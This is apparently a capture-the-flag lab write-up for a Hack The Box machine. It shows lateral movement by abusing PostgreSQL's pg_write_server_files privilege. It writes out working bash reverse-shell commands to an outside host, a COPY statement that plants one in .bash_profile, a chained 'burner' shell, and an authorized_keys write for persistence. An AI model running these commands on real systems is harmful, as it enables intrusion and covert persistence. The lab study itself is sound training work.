postgres
Upon gaining a session on the running PostgreSQL instance with a CLEARTEXT credential hard-coded into the service file, I quickly learned that the current DB user has an interesting privilege through a membership; pg_write_server_files
The pg_write_server_files
privilege allows the file write access to the host filesystem, and it was later validated
Naturally, I initially thought that I might be able to write my public SSH key into the authorized_keys
file of the postgres
account, so I checked the home directory of the said user
wesley@download:~$ ll /home
total 12
drwxr-xr-x 3 root root 4096 jul 19 15:35 ./
drwxr-xr-x 19 root root 4096 jul 19 16:06 ../
drwxr-xr-x 6 wesley wesley 4096 aug 9 14:09 wesley/
wesley@download:~$ cat /etc/passwd | grep -i postgres
postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
There is no home directory for the postgres
account since it’s a service account, and the home directory is set to /var/lib/postgresql
wesley@download:~$ ll /var/lib/postgresql/
total 16
drwxr-xr-x 3 postgres postgres 4096 aug 9 21:08 ./
drwxr-xr-x 41 root root 4096 jul 19 16:06 ../
drwxr-xr-x 3 postgres postgres 4096 apr 21 08:52 12/
-rw------- 1 postgres postgres 5 aug 9 21:08 .bash_history
Here, checking the home directory of the postgres
account tells us a few things
- There is no SSH directory,
/var/lib/postgresql/.ssh
,- Therefore, I cannot write my SSH key to the
authorized_keys
file inside the SSH directory
- Therefore, I cannot write my SSH key to the
- There is a
.bash_history
file- In Unix/Linux systems, the
.bash_history
file is automatically created upon opening a terminal session - This is expected since the
postgres
account is executing psql every minute as discovered previously
- In Unix/Linux systems, the
Discovering that I am unable to modify the SSH file halted the progress for a period of time.
I even thought of changing the password of the postgres
user within the DB session (NOT SYSYTEM) or even modifying the configuration file
But I came to a better idea eventually
Logon Script
Since writing SSH key is no longer a possible option and opening of a terminal session of the postgres
account is confirmed, a new theory came into my mind.
In Unix/Linux systems, there is a file that gets executed upon starting an interactive session, much like Window’s logon script or startup folder
It’s the .bash_profile
file.
It might be entirely possible to write a reverse shell to the .bash_profile
file in the home directory of the postgres
account
download=> COPY (SELECT 'bash -i >& /dev/tcp/10.10.14.20/8888 0>&1') TO '/var/lib/postgresql/.bash_profile';
COPY 1
Writing a simple bash reverse shell to the /var/lib/postgresql/.bash_profile
file
It turns out that I can just put text command directly into the SELECT
command instead of encoding it
wesley@download:~$ ls -lasht /var/lib/postgresql/
total 20K
4.0K drwxr-xr-x 3 postgres postgres 4.0K Aug 9 22:03 .
4.0K -rw-r--r-- 1 postgres postgres 42 Aug 9 22:03 .bash_profile
4.0K -rw------- 1 postgres postgres 5 Aug 9 22:02 .bash_history
4.0K drwxr-xr-x 42 root root 4.0K Aug 9 21:52 ..
4.0K drwxr-xr-x 3 postgres postgres 4.0K Apr 21 08:52 12
wesley@download:~$ cat /var/lib/postgresql/.bash_profile
bash -i >& /dev/tcp/10.10.14.20/8888 0>&1
The .bash_profile
file is created with the reverse shell in it
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8888
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 59334
postgres@download:~$ whoami
whoami
postgres
postgres@download:~$ hostname
hostname
download
postgres@download:~$ ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.226 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 dead:beef::250:56ff:feb9:ac48 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:ac48 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:ac:48 txqueuelen 1000 (Ethernet)
RX packets 70007 bytes 9048550 (9.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 85313 bytes 15804265 (15.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 92332 bytes 13670489 (13.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 92332 bytes 13670489 (13.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
A moment later, I get a shell session opened as the postgres
user, implying that the .bash_profile
file was executed from the root cronjob
However, the shell session immediately got cutoff
wesley@download:~$ ls -lasht /var/lib/postgresql/
total 16K
4.0K drwxr-xr-x 3 postgres postgres 4.0K Aug 9 22:04 .
4.0K -rw------- 1 postgres postgres 5 Aug 9 22:04 .bash_history
4.0K drwxr-xr-x 42 root root 4.0K Aug 9 21:52 ..
4.0K drwxr-xr-x 3 postgres postgres 4.0K Apr 21 08:52 12
The .bash_profile
file that I created is gone.
The root cronjob is likely also restoring the home directory of the postgres
user.
I can try to make a jump and have that process gets eliminated instead
Jump
wesley@download:~$ echo 'bash -i >& /dev/tcp/10.10.14.20/8887 0>&1' > /tmp/shell
wesley@download:~$ chmod 755 /tmp/shell
I will first create another reverse shell
download=> COPY (SELECT 'bash -i >& /dev/tcp/10.10.14.20/8888 0>&1') TO '/var/lib/postgresql/.bash_profile';
COPY 1
Writing a bash reverse shell to the /var/lib/postgresql/.bash_profile
file again
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8888
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 43254
postgres@download:~$
I got the shell session open
postgres@download:~$ /tmp/shell
/tmp/shell
Now, I need to execute the burner reverse shell, which will be eliminated instead upon having the source wiped; /var/lib/postgresql/.bash_profile
The original shell session is hanging for now
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8887
listening on [any] 8887 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 38936
and a burner shell session is open
wesley@download:~$ ls -lasht /var/lib/postgresql/
total 16K
4.0k drwxr-xr-x 3 postgres postgres 4.0k aug 9 22:18 .
4.0k -rw------- 1 postgres postgres 5 aug 9 22:18 .bash_history
4.0k drwxr-xr-x 42 root root 4.0k aug 9 21:52 ..
4.0k drwxr-xr-x 3 postgres postgres 4.0k apr 21 08:52 12
Eventually, the source, /var/lib/postgresql/.bash_profile
is wiped from the root cronjob
The shell session from the burner reverse shell is also gone
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ nnc 8888
listening on [any] 8888 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.11.226] 43254
postgres@download:~$ /tmp/shell
/tmp/shell
/tmp/shell: line 1: 91448 Hangup bash -i &> /dev/tcp/10.10.14.20/8887 0>&1
postgres@download:~$
The original is resumed after the Hangup notification from the burner shell session Although I now have a shell session that doesn’t get cutoff, I can elevate the session even further by writing the SSH key
SSH
postgres@download:~$ mkdir -p .ssh
postgres@download:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali' > .ssh/authorized_keys
Done.
Hopefully, the .ssh
directory won’t get wiped out
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ ssh postgres@download.htb -i ~/.ssh/id_ed25519
Enter passphrase for key '/home/kali/.ssh/id_ed25519':
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 2.0
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
postgres@download:~$ whoami
postgres
postgres@download:~$ hostname
download
postgres@download:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.226 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 dead:beef::250:56ff:feb9:ac48 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:ac48 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:ac:48 txqueuelen 1000 (Ethernet)
RX packets 73486 bytes 9302873 (9.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 89147 bytes 16476690 (16.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 97390 bytes 14254774 (14.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 97390 bytes 14254774 (14.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
postgres@download:~$ ls -la
total 24
drwxr-xr-x 5 postgres postgres 4096 Aug 9 22:27 .
drwxr-xr-x 42 root root 4096 Aug 9 21:52 ..
drwxr-xr-x 3 postgres postgres 4096 Apr 21 08:52 12
-rw------- 1 postgres postgres 10 Aug 9 22:26 .bash_history
drwx------ 2 postgres postgres 4096 Aug 9 22:27 .cache
-rw------- 1 postgres postgres 0 Aug 9 22:25 .psql_history
drwxrwxr-x 2 postgres postgres 4096 Aug 9 22:26 .ssh
I waited for a while and the .ssh
directory doesn’t get wiped out from the root cronjob
Lateral Movement made to the postgres
account